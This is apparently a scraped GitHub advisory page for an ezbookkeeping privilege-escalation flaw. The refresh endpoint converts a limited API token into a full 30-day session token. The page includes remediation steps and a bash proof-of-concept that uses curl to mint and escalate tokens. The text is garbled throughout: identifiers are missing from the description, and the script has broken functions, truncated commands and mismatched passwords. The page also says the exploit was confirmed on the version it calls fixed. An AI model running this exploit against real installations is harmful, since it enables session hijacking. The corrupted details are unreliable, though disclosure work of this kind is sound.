ezbookkeeping API Token to NORMAL Session Token Escalation via Refresh Endpoint (PoC)

Vulnerability Overview API Token → NORMAL Session Token Escalation via Description: accepts an API token as credentials (this route is mounted under , where the middleware is active and ), and unconditionally generates a NORMAL session token via . The refreshed token inherits all constraints of the API token: it receives the full default session lifetime (30 days), is not subject to the API token's IP whitelist restrictions, and obtains all permissions associated with NORMAL session tokens. Secondary Vulnerability: An API token created with (i.e., the "never expires" option) has an value of the year 2319 (approximately 292 years), derived from an based on . Real-World Cases: A 120-second API token can obtain a valid NORMAL session token with a 30-day lifetime using only ; another API token with no expiration has a lifetime of approximately 292 years. Scope Affected Versions: 1.2.0 - 2.0.0 Fixed Version: 2.0.1 CVSS v3 Base Metrics: - Attack Vector: Network - Attack Complexity: Low - Privileges Required: Low - User Interaction: None - Scope: Unchanged - Confidentiality: High - Integrity: High - Availability: None Remediation 1. In , reject any token where . 2. During refresh, carry over the remaining lifetime of the source token instead of resetting it to the full default session lifetime. 3. Treat as invalid, or limit it to the maximum value configured by the administrator; fix the overflow issue in . 4. Consider applying the same IP whitelist to all session tokens for deployments that depend on this mechanism. POC Code ```bash #!/usr/bin/env bash API token -> NORMAL session token via /api/v1/tokens/refresh.json Confirmed live on ezbookkeeping v2.0.1 (2026-09-23), set -eu pipefail API="EZBK_API: http://127.0.0.1:18080/api" PW="EZBK_PW: 'P@ssw0rd!2019'" MZN="EZBK_MIN_REFRESH_SLEEP: 2" stock token_min_refresh_interval is 86400s (24h) say() { printf '\n\033[1;34m%s\033[0m\n' "$"; } ok() { printf '\033[1;32m[OK]\033[0m %s\n' "$"; exit 1; } bad() { printf '\033[1;31m[!]\033[0m %s\n' "$*"; exit 1; } say "Step 1: Reachability + login" curl -sf -o /dev/null "$API/authorize.json" TS=$(curl -s -X POST "$API/authorize.json" \ -H "Content-Type: application/json" \ -d '{"loginName":"alice","password":"P@ssw0rd!2019"}' \ [ -n "$TS" ] ok "logged on" say "Step 2: Mint a 120-second API token" AS=$(curl -s -X POST "$API/v1/tokens/generate/api.json" \ -H "Authorization: Bearer $TS" \ -H "Content-Type: application/json" \ -d '{"password":"P@ssw0rd!","expiresInSeconds":120}') [ $? -eq 0 ] ok "api token minted" say "Step 3: Mint a 'does not expire' (expiresInSeconds=0) API token" AN=$(curl -s -X POST "$API/v1/tokens/generate/api.json" \ -H "Authorization: Bearer $TS" \ -H "Content-Type: application/json" \ -d '{"password":"P@ssw0rd!"}') python3 -c "import sys,json;print(json.load(sys.stdin)['result']['token'])" say "Step 4: Refresh with ONLY the API token (token-type confusion: B -> NORMAL)" sleep "$MZN" NT=$(curl -s -X POST "$API/v1/tokens/refresh.json" \ -H "Authorization: Bearer $AS" \ -H "Content-Type: application/json" \ -d '{}') [ $? -eq 0 ] python3 -c "import sys,json;print(json.load(sys.stdin)['result']['newToken'])" say "Step 5: Use the escalated token on authenticated endpoint" curl -s "$API/v1/users/profile/get.json" \ -H "Authorization: Bearer $NT" \ [OK] authenticated username:{json.load(sys.stdin)['result']['print(f' [WARN] API token (even 120s-expiry, even IP-allowlisted) refreshes into a full NORMAL session token via /api/v1/tokens/refresh.json: expiry escape + IP-allowlist escape + unrestricted session privileges. " Connect with the researcher: Evilord on LinkedIn © 2026 GitHub, Inc. Terms Privacy Security Status Community Docs Contact Manage cookies Do not share my personal information

Goal Reached Thanks to every supporter — we hit 100%!

ezbookkeeping API Token to NORMAL Session Token Escalation via Refresh Endpoint (PoC)

More from this source